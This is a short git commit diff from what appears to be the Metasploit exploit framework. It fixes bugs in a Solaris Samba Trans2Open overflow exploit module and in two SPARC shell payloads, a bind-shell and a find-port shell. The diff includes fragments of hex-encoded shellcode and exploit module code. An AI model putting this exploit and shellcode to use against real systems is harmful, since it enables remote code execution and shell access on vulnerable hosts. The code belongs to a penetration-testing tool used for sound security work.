Bug fixen

git-svn-id: file:///home/svn/incoming/trunk@3291 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2005-12-31 19:21:39 +00:00
parent f2002f32d2
commit 2bcfd6f0e5
3 changed files with 3 additions and 5 deletions

View File

@ -129,9 +129,7 @@ class Exploits::Solaris::Samba::Trans2Open_Overflow < Msf::Exploit::Remote
handler
rescue EOFError
rescue ArgumentError => e
p e
p e.class
rescue => e
break
end

View File

@ -25,7 +25,7 @@ module ShellBindTcp
end
def generate
port = (datastore['RPORT'] || '0').to_i
port = (datastore['LPORT'] || '0').to_i
payload =
"\x9c\x2b\xa0\x07\x98\x10\x20\x01\x96\x1a\xc0\x0b\x94\x1a\xc0\x0b" +
"\x92\x10\x20\x02\x90\x10\x20\x02\x82\x10\x20\xe6\x91\xd0\x20\x08" +

View File

@ -27,7 +27,7 @@ module ShellFindPort
def generate
port = (datastore['CPORT'] || '0').to_i
payload =
Rex::Arch::Sparc.set(port, "l0") +
Rex::Arch::Sparc.set(port, "l6") +
"\x9c\x2b\xa0\x07\x90\x1a\x80\x0a\xd0\x23\xbf\xe8\x90\x02\x20\x01" +
"\x90\x0a\x2f\xff\x92\x10\x20\x10\xd0\x3b\xbf\xf8\x94\x23\xa0\x04" +
"\x92\x23\xa0\x18\x82\x10\x20\xf3\x91\xd0\x20\x08\x94\x10\x20\x03" +